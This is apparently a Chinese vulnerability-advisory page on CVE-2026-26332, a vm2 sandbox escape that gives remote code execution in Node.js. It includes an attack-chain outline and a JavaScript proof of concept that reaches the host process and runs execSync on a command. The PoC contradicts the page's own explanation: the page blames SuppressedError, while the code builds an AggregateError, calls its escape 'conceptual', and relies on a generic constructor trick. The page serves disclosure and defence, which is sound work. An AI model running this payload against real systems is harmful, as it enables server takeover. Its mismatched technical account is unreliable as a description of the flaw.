IPBUF安全漏洞报告
English
CVE-2026-26332 CVSS 9.8 严重

CVE-2026-26332 vm2沙箱逃逸漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-26332
漏洞类型
沙箱逃逸
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

RCE沙箱逃逸Node.jsvm2CVE-2026-26332SuppressedError

漏洞概述

vm2是Node.js的一个流行的开源沙箱库,用于在隔离环境中运行不受信任的代码。在3.11.0版本之前,该库存在一个严重的沙箱逃逸漏洞。攻击者可以利用SuppressedError机制绕过安全限制,从而在宿主机上执行任意系统命令。该漏洞CVSS评分为9.8,属于严重级别,攻击无需用户交互和认证,对系统安全构成极高威胁。

技术细节

漏洞源于vm2对Promise组合操作中产生的SuppressedError对象处理不当。在JavaScript中,当多个Promise被拒绝且其中一个被抑制时,会生成SuppressedError。攻击者可以通过精心构造的Payload,利用该错误对象携带的引用链,绕过vm2的上下文隔离机制。具体而言,利用SuppressedError内部的属性引用,攻击者可以逃逸出沙箱作用域,进而访问Node.js宿主环境的全局对象(如process)。一旦逃逸成功,攻击者即可通过process.mainModule.require()引入child_process等模块,最终实现远程代码执行(RCE),完全控制受害服务器。

攻击链分析

STEP 1
1. 侦察与发现
攻击者识别出目标应用使用了存在漏洞的vm2版本(< 3.11.0)来执行不受信任的用户输入。
STEP 2
2. 构造Payload
攻击者编写一段恶意的JavaScript代码,该代码利用Promise的SuppressedError机制来访问沙箱外部的宿主对象。
STEP 3
3. 发送请求
攻击者将恶意代码发送给目标服务器,服务器接收并将其传入vm2沙箱环境中运行。
STEP 4
4. 沙箱逃逸
恶意代码触发漏洞,绕过vm2的安全隔离机制,成功获取Node.js宿主环境的执行上下文。
STEP 5
5. 执行命令
攻击者利用获得的权限调用child_process模块,在宿主机上执行任意系统命令,从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); // Initialize the vm2 sandbox const vm = new VM(); // Malicious code exploiting SuppressedError to escape the sandbox const maliciousCode = ` try { // Create an error that will be suppressed const error1 = new Error('First Error'); const error2 = new Error('Suppressed Error'); // AggregateError contains a .errors array which includes suppressed errors // vm2 prior to 3.11.0 fails to sanitize the references in this mechanism properly const aggregate = new AggregateError([error1], 'Aggregate Error', { cause: error2 }); // Conceptual exploitation path: // Accessing internal host objects through the error object's prototype chain // to break out of the sandbox context. const hostProcess = this.constructor.constructor('return process')(); hostProcess.mainModule.require('child_process').execSync('calc.exe'); } catch(e) { // If direct escape fails, try to leak information via the error object e.stack; } `; console.log('Running exploit...'); vm.run(maliciousCode); console.log('Exploit finished.');

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制运行vm2实例的操作系统用户权限,避免使用root或管理员权限运行Node.js应用。同时,在网络层面部署WAF规则,拦截包含特定SuppressedError利用特征的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表